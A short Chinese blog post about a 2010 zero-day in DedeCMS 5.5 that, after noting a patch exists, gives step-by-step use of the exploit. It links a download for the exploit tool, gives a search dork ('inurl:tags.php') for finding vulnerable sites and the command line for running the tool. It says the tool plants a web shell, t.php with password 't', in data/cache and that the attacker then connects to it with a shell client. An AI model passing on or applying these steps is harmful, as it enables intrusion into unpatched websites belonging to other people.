‘dede’ 标签下的文章:

织梦dede5.5 2010年最新0day,前天看到的文章，昨天官方出补丁了。站里面有个dede的，还好没事。但是租空间的最怕别的站出事提权到服务连累了自已。所以呀找个安全的空间是很重要的。

直到今天还有挺多站没打上补丁，dede后台那个提醒更新的太不醒目了。。囧

打0day利用方法说一下;

下载利用工具:http://www.3est.com/attachment.php?aid=1993

搜索目标关键词" inurl:tags.php"确定是dede。

命令行:  "利用工具.exe 网址根目录 /" 如："exp.exe www.***.com /"

程序会在网站的data/cache下生成t.php  密码:t

一句话客户连上。。完,顺便贴一下源码吧
